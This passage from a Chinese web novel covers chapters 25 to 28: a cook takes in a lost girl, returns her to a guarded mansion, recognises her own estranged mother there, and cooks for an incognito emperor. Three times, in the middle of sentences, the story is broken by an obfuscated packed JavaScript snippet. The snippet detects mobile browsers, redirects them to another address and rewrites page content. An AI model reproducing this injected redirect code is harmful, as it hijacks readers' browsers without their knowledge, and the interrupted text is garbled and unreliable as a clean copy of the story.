只见门口那小姑娘，头发散乱，衣衫褴褛，裤脚还短一截，深冬寒夜，露在外头的脚踝冻得红紫，脚上那双棉鞋好像踩过水坑，上面还沾着泥水。小脸上有两道干涸的泪痕，鼻尖通红，还在不住的抽噎，瞧模样约莫六岁左右。 看着就让人心疼。 未等谢青禾开口，阿鱼便拿着一个荠菜包子走到门口。 阿鱼现已十八，身量已同成年男子般高大，前厅的烛火落在他身上，在地上投出一道长长的背影。 小姑娘见他走近，似是怕生，慌忙将乱糟糟的脑袋躲在门后，一只小手紧紧攥着门框。 谢青禾见状起身拍拍围裙缓步走到门边，她弯腰便她伸手。 小姑娘见谢青禾眉眼温柔，容貌清丽，不似恶人，迟疑片刻后便将小手怯生生地递了过去。 谢青禾牵着她到桌边，小姑娘约莫长期营养不良，个头还没桌子高，尽管努力踮着脚尖，也够不到桌上饭食，只能眼巴巴的看着桌上的饭菜，片刻她的小嘴抿得紧紧的，眼眶又蓄满泪水。 眼见小姑娘又要落泪，谢青禾连忙将她抱起放在凳上。 小姑娘怯生生望了谢青禾一眼，见她依旧笑盈盈的，才放心转头，伸手去抓盘中的荠菜包子。 只是小手太短，努力了许久也没拿到，阿鱼便将所有饭菜全都推到她面前，顺便又去后厨盛了一碗饭。 小姑娘拿到后，许是饿急了，一口气吃了一个包子，又拿了两三个包子准备放入衣袖。 谢青禾见天色已黑，现在都无人来找孩子，于是想着了解下她的信息，一会儿好将她送回去，于是温声道，“小姑娘，你叫什么名字啊？现下没人，不妨告诉姐姐？” 她好似受了惊吓，结结巴巴道，“姐姐，别……别把我送官府，我不吃了……” 谢青禾怔了一下，这孩子怎么会这样想，但人的第一反应往往反应当下的心理状态，这孩子必定受过惊吓，才会这般遇事惶恐不安。 她放软声音，语气真诚道，“不会的，你这般可爱，姐姐怎么会把你送官呢？再说，姐姐是开饭店的，还会缺这口吃的呢？你要想吃尽管拿。” 姑娘听后，迷蒙的眼神有了一丝神采，“真的吗，我可以带走一些吗？” 谢青禾同阿鱼方才吃了一半，虽不太饱腹，回头再做便是。她点头，“随便拿吧。” 小姑娘绷紧的脊背这才松了下来，嘴角微微扬起，小声道，“谢谢姐姐，我叫沈苗。” “家在何处？” “在……在朔州。” 朔州？ 本朝民风习俗虽与宋朝相似，却并未失燕云十六州，朔州属于十六州范围内，属于边境地区，一个边境孩童，怎会千里迢迢来到京城？ 看她衣衫褴褛，莫不是途中与亲人失散了？ “那现如今住在哪里？家人呢？”谢青禾试探的问道。 “在王府巷西隅……”沈苗识字不多，话说的断断续续。 王府巷一带，多是权贵府邸，若非富贵人家，就算市井百姓，这姑娘断不该是这般衣衫褴褛，无人照拂的模样。 谢青禾继续问道，“沈苗，你爹娘在家吗？” “在……只有母亲，母亲晚上还要去别人家……做活。” 谢青禾心中一沉，就算生计艰难，也断不该将这般小的孩子独自丢在家中，万一遇上人牙子，到时再悔可就晚了。 她暗自打定主意，明日定要去见见沈苗母亲，好好劝说一番。 “那你今晚先同姐姐一起睡好不好吗？明日一早姐姐再送你回家。”谢青禾温声道。 沈苗许是在外游荡许久，现下食肆暖和又吃了热饭，冻僵的手脚渐渐回暖，眼皮就开始止不住的打架。 面前的漂亮姐姐也模糊起来，恍惚间竟像极了记忆中年轻的母亲。 她伸手小手轻轻抱住谢青禾的脖子，温热的呼吸扑在谢青禾的脸颊上，小声“嗯”了一声。 谢青禾将她抱回后院自己的厢房，放到榻上。先将帕子用温水打湿拧干，将沈苗的手脸轻轻擦拭一番，又打来一盆温水清洗双脚。 沈苗手脚都有一些红紫瘢痕，若不及时上药，往后一到冬日便要遭罪。 谢青禾从匣子中取出当归膏，这膏药相当于现在的冻疮膏，有治疗及避免足肤皲裂的情况。她轻轻擦干沈苗的双脚后，有取出药膏抹在那些瘢痕上，为了避免一会蹭到被褥，她又取出一双足衣给沈苗穿上，随后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17260070|196059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脱去外衣，二人便都沉沉的睡去。 次日清晨七刻，谢青禾准时醒来。 小孩子正是贪睡长身体的时候，见沈苗还未醒来，便准备先去做饭，一会儿沈苗醒了正好可以吃上热饭。 谢青禾下床，从衣箱中找出一双带有绒毛的足衣放在沈苗枕边，一会给她穿上去，避免脚踝冻伤。 她来到后厨，扎好袖口，利落的用筷子快速的盘好头发，放锅中放入清水、小米后便烧火煮粥。 又将萝卜削成丝，加两颗鸡蛋、盐、油同面粉拌在一起，接着加入水调成糊状。 锅中刷油，舀一勺面糊倒入锅中摊开，等听到“滋滋”的声音再翻面烘烤另一面。 烤好后面饼蓬松暄软，萝卜半熟不烂，看着就流口水。 阿鱼、小允子陆续起床，三人先一同用了早饭。 谢青禾熬出的粥浓稠喷香，碗边甚至凝着一层米油，就着芥菜卷饼，一口下去满口喷香。 阿鱼喝得起劲，小允子给萧蘅喂过饭后回到前厅继续用饭。 “今日上午，我要去王府巷，一会店铺就需要你们二人帮忙照看，我处理完后尽快回来。”谢青禾叮嘱道。 “阿姊有何事？”阿鱼捧着碗问道。 “昨晚那小姑娘家中无人，便留她住了一晚，今日得把人送回去，免得她家人担心。”谢青禾说着，转身去后厨盛了碗粥。 这时沈苗披着外衣、拖着鞋子歪歪扭扭的走了出来，一晚上后，头发更是凌乱。 谢青禾连忙放下碗，快步上前将她抱起回了厢房。 她先给沈苗穿上足衣，再穿好外衣。沈苗的头发通顺，谢青禾将她的头发全部散开，从中分开，左右两边各梳一个圆鼓鼓的小丸子髻，又从妆匣中取出两条底部坠有珍珠的红发带，系在发髻上。 顿时沈苗便干净齐整了，谢青禾摸了摸她的小脸，伸出手让她牵着。 沈苗越发觉得这位大姐姐亲和，咧嘴一笑，露出一颗豁牙，冲她嘿嘿的笑，随后便牢牢牵住谢青禾的手。 谢青禾抱着她回到前厅，阿鱼、小允子已吃完，各自忙活去了。 此时从沈苗体内发出一声“咕噜”声，谢青禾忍笑看了她一眼，随后便抱着沈苗坐下，耐心喂她吃饭。 谢青禾将饭轻轻吹拂后喂给沈苗，沈苗吃得专心，米饭咕嘟咕嘟喝了好几勺。她又将萝卜薄饼撕成小块放在沈苗嘴边，配着刚才的粥，没一会儿，沈苗便饱了。 吃过早饭，沈苗面色红润，手脚也暖乎乎的，小手指来指去数着桌上的瓷碗，看着可爱又讨喜。 沈苗一咕噜从谢青禾腿上溜下来，穿着厚厚的足衣走起来像刚学步的小鸭子，摇摇晃晃走到门边，又回头望着谢青禾。 谢青禾轻笑，这小家伙，是着急回家了。 于是她匆匆又喝了几口汤，取出自己的一顶毛绒毡帽给沈苗带上，给她裹得严严实实。 她要看看沈苗的母亲到底是何人？怎会如此放心将一个六岁孩童独自丢在家中。 26. 生母宋氏 谢青禾准备走时，沈苗在身后拉住她，随后手指向后厨。 谢青禾虽不解，但还是跟着沈苗走了过去。 挑开后厨灰色布帘，映入眼帘的是正前方挂着一串辣椒、大蒜，一张大桌子，上面放平日做好的饭菜，阿鱼经常在这张桌子上分菜。 右边摆放着几个粗陶大缸，里面分别放着米面还有各种腌制的咸菜。 左边有原来砌的双孔土灶，灶台用泥灰压实、晾干后便可平整干净。灶台上有一横木板，上面放着各种小陶罐，里面放着各种调料，灶台旁边还有一个半人高的桌子，专用来在上面备菜。 匆匆扫过皆是寻常人家最普通的物件。 沈苗进来后径直奔面前那张木桌。 谢青禾顺着她的目光看去，只见那张桌子上有一摞笼屉，昨晚的荠菜包子还在里面。 沈苗歪歪晃晃的走过去，两只小手用力够那摞高高叠起的笼屉。 谢青禾见状，想起昨晚沈苗就想装些包子带走，心下想着许是沈苗想给母亲带些。 于是她将沈苗拉住，后拿出两张油纸，麻利地包好两包包子，并用草绳捆扎妥当。 她提着包子在沈苗面前轻晃，温声道，“这样可以了吗？” 沈苗用力点头，头上的珍珠叮当轻响，笑得像年画娃娃。 王府巷距此隔着四五条街的距离，二人准备穿过这段集市再雇车前往。 谢青禾牵着沈苗小手，穿过熙攘的集市。 临近年关，本就繁华的集市现下更是热闹，街边货郎挑着担子挨挨挤挤，叫卖声此起彼伏。 沈苗才六岁，步子尚不稳当，谢青禾担心人群将二人冲散，索性将她抱在怀中。沈苗依偎在她怀中，一双大眼咕噜噜的打量着周遭景象。 路边有个挑担售卖胶牙饧的小贩，锅中熬煮着糖浆，商贩舀起一勺糖浆倒在秸秆，手腕翻飞间，片刻便捏出一匹胖乎乎的糖马，围在一旁的孩童纷纷拍手叫好，“哦，好棒啊！” 沈苗的目光一下便被吸引过去，鼻子也在一抽一抽地嗅。 谢青禾看得心软，于是抱着她走到摊边，看着各式各样的糖，轻声道，“想要哪一个？” 沈苗伸出手指，指了指那只脸蛋胖乎乎的小兔。 谢青禾摸出两文钱给了小贩，沈苗举着糖兔看来看去，忍不住伸出舌头轻轻舔舐，随即心满意足地冲她笑。 过了这条集市，人声渐渐消散些，谢青禾抱着吃糖的沈苗在路边看到不远处有几辆马车，二人上前后，车夫全都在问，“二人去哪里啊？” 谢青禾抱紧沈苗，找了个看着强壮且面相忠厚的车把式，上前询问，“大叔，往城西王府巷，一趟多少文？” 其余车把式见谢青禾心中有了人选，便又纷纷坐回去。 那人道，“十六文。” 谢青禾眉头微蹙，上次她同萧蘅一同去王府也只花了十文，想是年关将近，物价也跟着涨了起来。 她温声道，“大叔，您这价稍高了些，往日不是五文吗，您行个方便，按实价载我们一程。” 车把式摆手，“姑娘最近都是这个价，五文也太少了。” “我晓得营生不易。”谢青禾语气平和道，“我也是做小本生意的，深知其中艰难。我怀中姑娘不过五十斤，费不了多少力气，这样吧，两个人十文如何？” 谢青禾说得有理有据，分寸把握得正好，车把式正思忖着。 谢青禾突然道，“如若不行，我可找他人。” 车把式一听忙喊住她，方才自己将那小姑娘按照成人的价格收取了，这大点的姑娘说的确实在理，价格给的也合适，便赶忙道，“十文便十文吧，上来吧。” 谢青禾这才抱着沈苗登上马车。 车轮缓缓行驶，不多时便来到了王府巷，这里不临闹市，处处干净整洁，百步便有一厢军，一里还有瞭望台，主要负责夜间走水，里面存储着各种水桶、梯子、铲叉等救火工具。 路边还有一列列冬青即使冬日遇着雨雪天气也照样青绿。每隔十米便悬有一盏天灯，夜间既能照明，万一有盗贼也能看得分明。 谢青禾付了钱，二人便下了车，到了王府巷，怀中的沈苗忽然紧张起来，她轻轻拍着沈苗的背安抚道，“不怕，马上到家了。” 谁知这话非但没能让沈苗安心，反而她呼吸愈发有些急促，显然对此地有些恐惧。 谢青禾心中暗忖，莫不是沈苗母亲对她极其严苛，才令她怕成这样？ 沈苗将头彻底埋在谢青禾的怀中，“一会儿姐姐还带你逛集市，好不好？”谢青禾温声哄道。 沈苗在怀中轻轻点头。 “那你给姐姐指路，用手指就可以。” 沈苗这才从怀中探出头，只露一只眼睛，伸出小手指路。 二人直行百米后，右转走到一扇朱漆大门前。院落不算大，看围墙划分，约莫同自家后院差不多大小，只是这里屋檐覆着琉璃瓦，门口涂着朱漆，一看便是富贵人家的私宅。 谢青禾心中疑虑重重，沈苗住在这般宅院，怎会破衣烂衫的出来讨食，并且此时怀中的沈苗抖动得愈发厉害。 她抬头看着这里，定下心来叩响朱门。 几声过后，门内传来脚步声，接着大门拉开一丝缝隙，谢青禾看不清楚里面来人，只听那人厉声盘问，“找谁？可有令牌？” 令牌？ 谢青禾抬头发现门上也未悬有匾额，门口也无侍从守立，究竟是哪户人家的府邸，守备如此隐秘森严。 沈苗听见那人声音，便止不住打颤，谢青禾捂住她的耳朵，并向怀中护了护，平静道，“差大哥，我不知这是哪位大人的府邸，只是孩子丢了，一路指来说是家在此处，于是特意送来，免得孩子母亲忧心。” 那人语气生硬道，“多谢，人交给我便是。”说着便伸手来夺沈苗。 谢青禾侧身避开，语气坚定道，“我须得见到孩子生母，确认无误后才能将孩子交还。” “这人是仆妇宋氏的女儿，你交给我便可。”那人冷硬道。 谢青禾依旧不动，这人显然不敢报宅邸主人姓氏，一个管家还不敢露面，处处透着不可言说的怪异。 “若是不肯让孩子生母出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17260071|196059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来相认，那我大可以将孩子送于大理寺，让寺卿大人帮忙找寻，若孩子仍说母亲在这座府邸，那我自然无话可说。”谢青禾坚定道。 门内那人听后，眼神一凛，压下火气道，“去喊宋氏。” 这座府邸的管家怕外人发现这里，更怕她闹到官府去，这里有问题。 不多时，一道身形单薄的身影从门内走来。 妇人年约四十，身穿一身深蓝夹袄，同色长裤，是府中下人统一穿着，青丝夹杂着大半白发，整个人透露出虚弱无力的气息。 宋氏缓缓抬头，二人四目相对，皆愣在原地。 谢青禾脑海中好似有这女子的印象，女子原名宋锦，年少时被卖入青·楼学艺，性子清冷自持，绝不做卖身求财之事，袅袅身姿引得无数人心动，自然包括谢父，在她二十那年被谢父赎身纳入府中做妾。 谢父迷恋其美貌，成婚后二人如胶似漆，谢父经常从外地采买来各种奇珍异宝给她，她也经常绣些锦囊相赠。 不久宋锦便有了身孕，早已对她不满的谢府主母、谢婉儿的生母朱氏担心宋锦腹中诞下男婴，动摇她的地位，便污蔑她行为不端，成婚后仍与外男私通，谢父也渐渐起了疑心，二人心生嫌隙。 宋锦不堪其辱，要以死以证清白。谢父念腹中胎儿，便将她弃置于府中角落的偏僻院落，再未踏进宋锦房门一步，包括谢青禾出生。 朱氏仍不满，便寻来一名医替宋锦把脉，得知她腹中是女胎后这才稍稍放下心来。 原身出生后，从未见过谢父，日子虽过得清苦，母亲看起来总是忧虑重重，不多言语，但有母亲终日为伴，也是开心的。原身会在春日里欢快在她身边玩耍捕蝶，亲昵撒娇说自己饿，想吃桂花糕…… 这样的日子到原身六岁那年倏然停止，有一男子前来寻宋锦，二人本是在青·楼结识的知交好友，见宋锦这些年这般境遇，便带她一走了之。 回忆到这里，谢青禾能清晰感受到这具身体涌上来的情绪，痛苦、不解、思念。 她仍然是思念的。 缓缓睁开眼睛，发觉眼角淌出泪水，对面的妇人亦是满眼蓄着泪水。 二人都认出了对方。 谢青禾喉头哽咽，不知如何开口，只静静站在原地。 还是宋氏上前，低声道，“多谢姑娘。”话落，便朝谢青禾伸手要接过沈苗。 谢青禾僵硬的松开双臂，将沈苗交还到她手中。 宋氏这是不想还是不能认她这个女儿，谢青禾陷入疑虑。 “沈苗的包袱还落在我哪里，明日可否来店里去拿？”谢青禾故意找此借口，想同宋氏单独详聊，解开这一团一团的疑云。 门后忽然传来一阵刻意的咳嗽。 谢青禾抬眼望去，眼神凌厉，示意他若在言语便要报官。 门内立刻走出一侍女，站在宋氏身旁，“可以，只是她腿脚不便，需要有人陪同前王。” 谢青禾知晓这是不允许宋氏出府，但又怕自己报官，无法便派人监视她们。 “好，明日午后三刻，青云楼见。”谢青禾应下。 27. 一团疑云 沈苗被宋氏牵在身侧，宋氏望着谢青禾低头颔首。 谢青禾拱手行礼，准备离开，沈苗眼巴巴的看着她，她摸摸沈苗的脑袋，轻声道，“下次还可以去我哪里玩。” 沈苗开心地点了点头。 谢青禾将那包子递给宋氏，发现她头发上有些白色粉末。 约莫是面粉，估计宋氏在府中在后厨当差。 宋氏伸手去接，手指粗糙无光泽，指缝中也有些白色粉末。 她抬头看宋氏，只见她目光浑浊，眼神中好似哀求自己，不要问也不要多说。 谢青禾有些纳闷？她到底所谓何事？ 当年为什么抛弃原身？ 妹妹沈苗又是谁家孩子？ 为何说家在朔州？ 这座府邸是哪位官人的？ 宋氏目前到底在做什么事？ 团团疑虑萦绕在心头，明日她定要将这些事问清楚。 谢青禾压下心头疑虑，未多言语便转身离开。 她回来青云楼时已至午后二刻，食客们早就用完饭，现下店中只剩阿鱼和小允子，二人皆在收拾前厅。 忙了一上午，谢青禾还未吃饭，于是走到后厨先做两碗热水，水沸后，取出两枚鸡蛋用筷子打散。 筷子先在锅中搅动几下，让水形成漩涡，然后将蛋液缓缓倒入其中，一瞬间蛋液好似牡丹花一样层层累累绽开。 然后再放入紫菜、虾皮、芫荽、胡椒粉、豉油、香油、一勺盐，轻轻搅拌一下，紫菜便舒展开来。黄绿相间非常惹眼，香味浓郁勾得人嘴馋。 她先放在锅中保温。 接着从系统出取出自己冷冻的肉沫，直接放入锅中加一点水化开，随后加入姜粒、酒烘烤至肉沫完全脱水呈白色颗粒状后，加入两大勺自制的豆瓣酱，小火慢慢翻炒，让肉沫与酱汁的香味、颜色完全融合后收汁便可品尝。 谢青禾从对门杜婆婆那里买来几个刚做好的炉饼，从中掰开后，冒出汩汩热气，饼面暄软，舀出一勺做好的肉酱放在饼上，一个简易的肉夹馍算是完成了。 小允子将碗碟全部刷完后，疲乏得只想睡觉，谁知又被谢青禾的肉饼勾得困意全无。 谢青禾搬来凳子在灶边坐下，先舀了一碗蛋花汤，暖意顺着食道流向全身肺腑，感觉体内又恢复了能量。 “允哥，锅中还有，想吃自己拿吧。”谢青禾随口道。 小允子喜滋滋应下，也搬了个凳子坐在灶边，拿了块肉饼吃的嘴角油亮。 今日午饭，小允子随便做了些焖米饭，阿鱼饿了什么都能吃下，评价“味道尚可，比我强得多，却不及阿姊。” 小允子当然未想同谢谢姑娘比，她脑中的花样新奇，厨艺精湛，任何菜式在她手中从未失手过，这等厨艺非常人可比的。 萧蘅评价他做的饭食同宫中饭食一样，还问他先前是否在御膳房当值？做成这样简直是来害他。 咽下口中肉饼，小允子问道，“谢姑娘，还有多的吗？晌午肖衍他嫌弃我做饭难吃，到现在还没吃饭。我想把你做的，给他端一些过去。” 谢青禾心中一惊，这算怎么回事？万一哪天她有事，他还不吃饭了不成？ “今日我是随手做的，不算精细，味道也差强人意。”谢青禾讪讪道。 “不妨事，他特别中意你做的饭菜，只要是你做的他什么都吃。” 谢青禾一怔，心道这账房先生还挺挑食，不，是挑人。 “我做的不多，但这些做起来也快，你先去歇息，我重做一份，稍后给他送去。”谢青禾又询问小允子今日有无缠客、流水多少、缺哪样蔬菜、肖衍有无换药…… “今日客量同往日无差，半日流水约四两，葱姜蒜这类常用的大料所剩不多，该采买了，也给肖衍换过纱布，服下药。”小允子如实道。 谢青禾点头，她最放心将事情交给允哥办，向来做的稳健妥当。 小允子围着灶台只喝了一碗蛋花汤，吃了半个肉饼，现下身上暖融融的。日光透过窗格洒在身上，更加惬意自在，上下眼皮便开始不停地打架，他趁快睡着前，含糊道，“谢姑娘麻烦你了，我先去后院歇息片刻。” 谢青禾冲他点头应好。 一般食肆过了午饭后到晚饭前这段时间比较清闲，谢青禾往往会小憩片刻后，再去后厨摘菜、洗菜、备菜或者去集市上买些调料、蔬菜什么的。 因着时间长，这次谢青禾重新做起来便精细了许多。 做好后她端着食盘来到萧蘅账房，此时他正在单手拨算盘，被褥上还摆着账本。 “怎么不歇息片刻？”谢青禾道。 萧蘅未抬头，“这几日在榻上养伤，睡得太多，反倒昏沉，想着算下这周的账本，活络下脑子。” “听允哥说，你还未吃饭？”谢青禾想起方才允哥的那句‘他特别中意你做的饭菜，只要是你做的他什么都吃’就心头一动，虽然是在承认她的厨艺，但平日肖衍不多言语，心中好似除了报仇对其它人或事都不在意的感觉，没想到这样性子寡淡的人竟对自己的饭菜这般在意，谢青禾想到这些就有些开心。 萧蘅手指一顿，平静道，“嗯，那时没胃口。” 谢青禾差点笑出声，到底是没胃口还是吃不惯旁人做的？ 她将餐盘放在榻边桌几上，紫菜的咸香、蛋花的软香、肉饼的喷香便一并向萧蘅扑了过来。 他忍不住吞咽了下口水，脑袋开始不由自主的想着那肉饼长什么样？如何做的？手指也开始有一下没一下的拨弄着算珠。 最终没忍住，便放下算盘，抬眼看了过来。 这几日的调理，萧蘅胸口上的伤愈合的差不多了，右手可以单握些东西不成问题。 萧蘅腹中有些空落，于是赶忙用右手去端那碗汤，显得有些急切不觉有些尴尬，于是岔开话题道，“听阿鱼说，你上午去王府巷送那女童回家？” 听萧蘅提起此事，谢青禾脑海中又浮现出那团疑云，想着他与大理寺卿尹昉认识，便打算将这些事说与他听，说不定还能帮上些忙。 萧蘅此时并未注意谢青禾眉目间的愁绪，方才那话题，他也并未放在心上，现下他完全沉浸在美食中不能自拔，只是随口一说罢了。 “是的，只是那里处处透着古怪。”谢青禾道 “哦？” “那女童说来算是我的妹妹。” 谢青禾此话一说，萧蘅顿时回了神，“怎的从未听你提起过。” “我也是昨日才知晓。那姑娘说她同母亲在那家府邸做事，可是那官家好像不愿让外人知晓宅内有人似的，孩子丢了，也不见他们着急，只半开大门，遮遮掩掩，生怕旁人看到里面光景似的。 还有……我六岁时便跟人跑了的娘亲，如今也在那府邸中，好像在后厨当值，鬓角、指尖全是面粉。”谢青禾说着这些，又想到沈苗说她母亲晚上要出去做活。 什么活必须要晚上做，而且上午初见宋氏时，头发有些乱，显然是在休息的模 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17263673|196059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样，她心中不安起来。 “可曾问清是哪家府邸？”萧蘅放下汤碗镇定道。 “怪就怪在这里，那管家起初同我要令牌，可我看着那府邸上方并未悬挂匾额，再问，便不提此事了。”谢青禾无语道。 王府巷那一带先皇在世时，本想将其修葺为迎接外宾所用的府邸，自先皇去世后，便无人再提此事，因其离皇城不过数里，许多官员尤爱在此处购房，只因上下朝方便。 要想知道宅院主人，去户部核对地契即可。 只是地契不是何时、何人都能查的，这牵扯到旁人私产，非主家或者办案之人，不可随意查阅。大理寺查案便经常持牌查阅。 这就需要尹昉帮忙了。 萧蘅心中衡量一番，觉得没必要因为这种小事特意去折腾一番。 “那宅子倒是离上次我们去的文王府不远……” 文王府？ 萧蘅顿时起了想要查看那座府邸地契的心。 “我帮你查。”萧蘅脱口而出。 “你可以查？” 萧蘅意识到自己说漏嘴，于是补充道，“我可以找尹大人，让他帮忙。” 谢青禾眉头立刻舒展开来，眉眼弯弯道，“好，晚饭给你做些好吃的。” “劳烦了。”萧蘅拱手道。 不多时，小允子便请来了尹昉，进门便说，“有新线索了？” “可能吧，你去查一下王府巷四街西隅的宅院是谁家的，要快，尽量在明日午时三刻前查出来。” 尹昉接下这道急令，连口水都没顾上喝便走了。 傍晚，谢青禾说要给萧蘅做好吃的，便说到做到。 她挽起袖子将买来的猪肉切块，冷水下锅后放入葱姜花椒焯水去腥，片刻便可捞出，沥干水分后，将锅烧热，放入冰糖将其炒化直至成焦糖色。 接着放入沥干的猪肉块，小火翻炒上色收汁，之后在加入姜片、葱段、辣椒、八角、桂皮、香叶等大料，倒入热水没过猪肉，再加入一些盐、豉油调味，炖煮半刻钟即可。 “阿鱼，去杜婆婆哪里买一筐考好的白饼。”谢青禾吩咐道。 现世所吃的肉夹馍用到的是白吉馍，吃起来松软，面饼有层次，好像一圈圈的线一样绕在上面。 杜婆婆做的白饼虽不是白吉馍那样的外形，但它不放任何调料，就不会和她做的卤肉串味，能很好的保证卤肉的味道。 锅中的卤肉散发浓郁的肉香，还有一些大料的香气。 旁边卖粥的大娘道，“谢姑娘，我这不饿闻着你做的这肉饼，口水都要流出来了，一会定要多买几个尝尝。” “好，片刻就好，这饼量大管饱，保准让您吃饱。” 谢青禾用筷子点了下猪皮，轻轻一戳便出现一个洞，这肉便是炖煮透了，锅中的汤汁也尽数沁到猪肉中。 喷香的猪肉引得小允子没了心思洗碗，不住的回头看谢青禾手中的动作。 谢青禾将肉捞出后全数放在案板上，剁碎后再放上尖椒、芫荽，这样吃起来更加爽口解腻，剁好后的肉馅，闪着焦糖色莹润的色泽，味道闻起来就忍不住吃上一口。 “阿姊，我买回来了。”阿鱼气喘吁吁跑来。 谢青禾从筐中取出白饼，从中切开，将肉馅全数填进去，再淋上锅中剩下的卤汁，满满当当的肉夹馍便做好了，比午后做的肉饼料要足很多。 刚做好，隔壁大娘便赶忙过来，“快给我来一个，馋得我实在等不上了。” 28. 母女相见 隔壁大娘方才连生意都没心思做了，就等着谢青禾那肉饼呢，听到她说“可以吃啦”，便火速赶来了。 谢青禾麻利的将案板上肉沫铲起，填入面饼当中。 “再添点青椒吧，看着怪爽脆的。”大娘笑着叮嘱道。 “好嘞，这冬日里头多吃点青椒暖和。”谢青禾将洗好的青椒，细细切成碎丁，撒在肉馅上。 大娘接过肉饼咬上一口，香的她顾不上说话，没一会便吃完了一个，她索性又买了三个，这安心收摊回家。她那几个孩子早就听闻京城新来了一位谢娘子，厨艺了得，正好带回去让他们尝尝鲜。 阿鱼也等不上了，同小允子站在一旁，目不转睛地看着谢青禾做饼，那模样，下一秒感觉他们口水都能流出来。 “快拿去吃罢，给肖衍也拿去一个尝尝。”谢青禾轻声吩咐他们道。 阿鱼迫不及待先拿了一个，一口咬下去，简直鲜掉眉毛。 小允子却端起来盛放肉夹馍的盘子，径直往后院去。 “哎，你等等我呀，怎么全都拿走给肖衍了，我还吃够呢！”阿鱼在他身后喊道。 小允子不回应，只顾端着盘子给萧蘅送吃的。 此时已傍晚八刻，前堂的食客饭饱酒足后回家或逛瓦肆去了。 谢青禾打算再熬一锅粥来解决今日的晚餐。 她从瓦罐中取出两枚咸鸭蛋，洗净上面的黄泥后，放入锅中用锅铲碾碎，再加入热水，放入粳米，小火熬上片刻。 再向系统中拿些火腿肠，切成丁，等水开后放进去。泡好的香蕈也一并切好放进锅中，一同熬煮片刻。 趁这个间隙，她从盆中摘了两颗生菜，这种方法在现世叫“土培保鲜”，这样可使蔬菜更加新鲜，又不易滋生细菌。若放在冰箱内，虽说可以保鲜，但不过三日冰箱内便开始有异味，再吃那些蔬菜也带着说不清的怪味。 谢青禾将生菜洗净，切掉底部硬块，将菜叶切好，等到粥熬的冒泡时，便可将切好的生菜放进去，稍微搅拌一下就可以。 放入生菜后要立刻加胡椒粉、香油、一点盐来调味，这样就可以熄火了。 阿鱼吃了两个肉饼，正准备吃第三个时，鼻尖忽然嗅到后厨飘来的咸鸭蛋的香气，于是拿上肉夹馍便跑了。 只留小允子和萧蘅在屋内。萧蘅拿起肉饼，发觉里面居然还是猪肉，闻闻味道，只有肉味。内心不由感慨，这谢青禾到底是怎样的神人，能将猪肉做的这么香？ 他咬下一口，肥瘦相间的肉馅在口中翻滚，尖椒清脆爽口，配着那一丝丝辣，这肉便更加好吃了。 “快来喝粥吧！”阿鱼站在门外喊，手中还捧了一碗粥，吸溜吸溜的声音屋内二人听得清清楚楚。 小允子蹙眉，心道这小子吃得倒是香甜，却吵到陛下静养了！正想出门警告让阿鱼小点声，萧蘅却抬手拦住了他，“无妨。” 他不喜欢出宫仍摆着架子，青云楼除了小允子每日对他毕恭毕敬，谢青禾与阿鱼二人反倒将他作为寻常人对待，反而让他自在许多。 “陛下奴才去给您端饭。”小允子躬身退下，来到前堂时，桌上碗筷早已摆好。 他拿出托盘准备送饭，谢青禾拦住他，“我去吧，你好好吃饭，歇息会。” 谢青禾来到厢房。 萧蘅一怔，心中疑惑，她怎么来送饭来了？ 谢青禾当下托盘，搬过来一张凳子坐在榻边，笑盈盈地看着他。 萧蘅正要端碗吃饭，转身发觉她正一脸笑容看着自己，心里毛毛的。 他抬眼，“谢姑娘可是有事？” “无事，只是想问一句，托付尹大人之事，可有眉目？” 萧蘅点头，“已经说过此事，但还未有信，你很着急吗？” 谢青禾干笑道，“不急，只是早知晓，也好要做打算。” 萧蘅疑惑。 “那毕竟是我生母，她日夜作息颠倒又被人监视，日子必定艰难，何况还有个小妹也在那里，终日担惊受怕，实在可怜。我想知道是谁家府邸，好为她们娘俩赎身出府。”谢青禾道。 她从未感受过母爱，但现如今好歹用了人家的躯壳，自然要替人家尽孝道。 谢青禾继续道，“明日我与母亲约好在此处见面，那府邸还派了侍女前来监视，外人在场，我同母亲叙起旧来，难免泣涕涟涟，见旁人不自在。” 听谢青禾这样一说，这府邸的确有些奇怪，据他所知，寻常世家府邸，皆会给下人几日探亲的时日，平日里经主子同意也可出门采买。 即便奴仆真的生出想要逃跑的心，进出各州县皆需公验，上面详细标明了身份，行程及事由，不是那么轻易便能逃得了的。 “所以你打算怎么做？”萧蘅反问道。 谢青禾也不知道怎么做，她这次来就是想问问有没有让尹大人帮忙查验地契之事。 “支开她，不太可能，只能……用药让她睡去。”萧蘅淡淡道。 